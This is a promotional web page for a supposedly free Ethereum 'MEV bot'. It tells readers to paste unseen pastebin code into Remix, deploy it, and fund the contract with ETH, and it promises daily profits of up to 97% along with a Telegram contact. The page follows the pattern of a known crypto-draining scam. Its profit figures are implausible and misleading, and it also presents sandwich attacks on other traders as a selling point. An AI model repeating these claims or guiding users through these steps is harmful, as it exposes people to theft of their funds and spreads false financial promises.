Current Projects Arbitrage MEV Bot (Maximal Extractable Value) Creating an Arbitrage Bot on Ethereum Mainnet
Ready-to-run ETH MEV-BOT for performing sandwich attacks on Uniswap. A Maximal Extractable Value (MEV) Solidity BOT that monitors the Ethereum Mempool and profits of Arbitrage opportunities by outsourcing block construction.
Uniswap is a cryptocurrency exchange which uses a decentralized network protocol. If you trade crypto on Uniswap, 1inch or any other decentralized exchange (DEX), then you need to know about front-running bots sniping profits across exchange’s pools. You are now able to take advantage of those arbitrages yourself, a benefit that was previously only available to highly skilled devs. Here we provide you the access to user-friendly (no coding skills required) MEV bot so you can enjoy stress-free passive income from day one. It's our flagship project that we recently released which runs on ETH pairs on Uniswap making profits from arbitrage trades. Using this smart contract source code allows users to create their own MEV bots which stacks up the profits from automatic trades for the users. We share this Arbitrage MEV bot smart contract for free, but there’s 0.1% fee charged from users’ profits, which goes to us.
Check this short video to see how it works and follow the steps below.
Our MEV-BOT monitors the Ethereum Mempool for pending transactions (TX) on Uniswap, until it identifies a potential MEV Arbitrage opportunity - TX with high slippage and price impact on a token (e.g. a large PEPE buy order) Before executing any trades, the algorithm calculates the potential gains against transaction costs to always ensure profitability MEV-Bot swiftly performs a sandwich attack by placing a buy order (for PEPE in our example) before the victims TX, simultaneous with placing a sell order right after at a higher price within the same block The bot aims to extract value from the slippage differences in TX. It optimizes gas prices for timely execution, cost efficiency and it always puts 1 gas more than the competition, as long as it remains profitable? Then sends back the ETH to the contract ready for withdrawal
We are proud to say that our MEV solution outperforms 80% of Arbitrage Bots on the Ethereum Blockchain.
INSTRUCTIONS
How to launch your own arbitrage bot:
1 - Download MetaMask (if you don’t have it already):
https://metamask.io/download.html
2 - Access Remix:
3 - Click on the “contracts” folder and then create “New File”. Rename it as you like, i.e: “bot.sol”
Note: If there is a problem if the text is not colored when you create bot.sol and paste the codes from pastebin, try again. If the codes are not colored, you cannot proceed to the next step.
4 - Paste this code in Remix.
5 - Go to the “Solidity Compiler” tab, select version “0.6.6+commit.6c089d02” and then select “Compile bot.sol”.
Make sure “bot.sol” is selected in the CONTRACT section of the SOLIDITY COMPILER section.
6 - Go to the “DEPLOY & RUN TRANSACTIONS” tab, select the “Injected Provider - Metamask” environment and then “Deploy”. By approving the Metamask contract creation fee, you will have created your own contract.
7 - Copy your newly created contract address as shown on video and fund it with any amount of ETH (minimum 0.5-1 ETH recommended) that you would like the bot to earn with by simply sending ETH to your newly created contract address.
8 - After your transaction is confirmed. Check in ETHERSCAN ( https://etherscan.io/ ) your newly created contract address to verify that the previous step was accredited
9 - Back in Remix, click the “start” button to run the bot.
10 - Remember to "SAVE" the Remix project
11 - Wait for about 12 hour to check the initial progress. Check in ETHERSCAN ( https://etherscan.io/ ) again, refresh window. Continue checking every 12 hours.
12 - Withdraw your ETH at any time by clicking the “Withdraw” button. After withdrawal, if you want to make it work again, just repeat the process from step 7.
That’s it. The bot will start working immediately earning you profits from arbitrage trades on Uniswap pools.
If you have any questions or inquiries for assistance, feel free to contact us on Telegram:
Estimated Profits
Investment Range (ETH) Liquidity Level Profits per 24 Hours 0.1 ETH - 0.5 ETH Low Up to 10% 0.5 ETH - 1.2 ETH Moderate Up to 20% 1.2 ETH - 2.4 ETH Moderate 20-27% 2.4 ETH - 5.0 ETH High 27-35% 5.0 ETH - 10 ETH High 35-50% 10 ETH - 20 ETH Very High 50-63% 20 ETH - 50 ETH Very High 76%+ 50 ETH - 100 ETH Extremely High 97%+
EDIT: We've received messages from people who didn't fund the contract with enough Ethereum to cover gas fees and possible burn fees. The bot targets token contracts with max 10% burn fee and anything lower. However, nowadays most tokens come with 2~6% fees. If you fund the contract with 0.4 ETH or less, and the bot targets another token with high burn fees, the contract will waste a lot of gas fees. We recommend funding the contract with at least 0.5 ~ 1 ETH to make sure that won't happen.
FAQ
If many people will use the bot, wouldn’t dilution of profits occur?
We do not plan to limit access to the bot for now because there won’t be any affect for us or our users profiting as pools that the bot works on are with the biggest liquidities and volumes on Uniswap so our users involvement in the pools will always be very minor.
What amount of funds bot need to work?
We recommend funding the contract with at least 0.5-1 ETH to cover gas fees and possible burn fees. Bot targets token contracts with max 10% burn fee and anything lower but nowadays most of tokens comes with 3~6% fees. If you fund the contract with less than recommended and the bot targets another token with high burn fees the contract will basically waste in fees more than make profit.
Does it work on other chains or DEXes as well?
No, currently the bot is dedicated only for Ethereum on Uniswap pools.